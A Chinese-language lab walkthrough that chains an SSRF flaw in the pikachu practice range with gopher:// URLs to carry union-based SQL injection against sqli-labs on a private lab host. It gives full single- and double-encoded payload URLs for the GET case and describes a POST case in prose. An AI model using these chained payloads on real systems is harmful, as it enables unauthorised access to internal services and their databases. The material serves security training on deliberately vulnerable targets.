實驗環境;
Centos7.6上同時安裝sqli-lib和pikachu
一.Gopher 協議對內網 Web 服務進行 sql 注入 GET 類型
我們先訪問sqli-lib第1關
然后我們構造URL:
http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.112.12/sqli-
labs/Less-1/?id=-1' union select 1,user(),database() --+
我們再到pikachu靶場里面進行ssrf實驗:
發現報錯了,這里我們需要進行兩次編碼:
為什么要 2 次編碼?
1. 首先我們發給服務器的時候 URL 地址中不能包含特殊字符,需要第一次編碼。先解碼%25
2. 服務器接收到我們的 URL 地址之后由 url_exec()解析 URL 地址,此時服務器進行第二次解碼。
第二次解碼則解碼空格以及特殊字符。
第一次:只對傳遞的參數id進行編碼。
http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.112.12/sqli-labs/Less-1/?id=-1'union%20select%201%2Cuser()%2Cdatabase()--%20%2B第二次:
http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.112.12/sqli-labs/Less-1/?id=-1'union%2520select%25201%252Cuser()%252Cdatabase()--%2520%252B
然后我們可以看到成功利用pikachu靶場訪問sqli-lib并利用sql注入漏洞。
我們再bp抓包:
利用腳本進行編碼:
_GET%20/sqli-labs/Less-1/%3Fid%3D-1%2527union%2520select%25201%2Cuser%28%29%2Cdatabase%28%29--%2520%2B%20HTTP/1.1%0D%0AHost%3A%20192.168.112.12%0D%0A
?
然后拼接URL:gopher://192.168.112.12:80/_GET%20/sqli-labs/Less-1/%3Fid%3D-1%2527union%2520select%25201%2Cuser%28%29%2Cdatabase%28%29--%2520%2B%20HTTP/1.1%0D%0AHost%3A%20192.168.112.12%0D%0A
然后我們對其進行二次編碼:
http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher%3A%2F%2F192.168.112.12%3A80%2F_GET%2520%2Fsqli-labs%2FLess-1%2F%253Fid%253D-1%252527union%252520select%2525201%252Cuser%2528%2529%252Cdatabase%2528%2529--%252520%252B%2520HTTP%2F1.1%250D%250AHost%253A%2520192.168.112.12%250D%250A
我們也是成功利用gopher協議完成SSRF的GET請求。
二.Gopher 協議對內網 Web 服務進行 sql 注入POST?類型
我們依舊先打開sqli-lab靶場進入11關:
然后bp抓包
我們利用編碼腳本先對POST請求進行編碼:
然后我們得到結果構造URL:
在前面添加:gopher://192.168.112.12/
然后我們在pikachu里面進行URL構造:
再編碼一次就可以了。
我們也是成功利用POST請求拿到sqli-lab的數據庫名稱和user表
?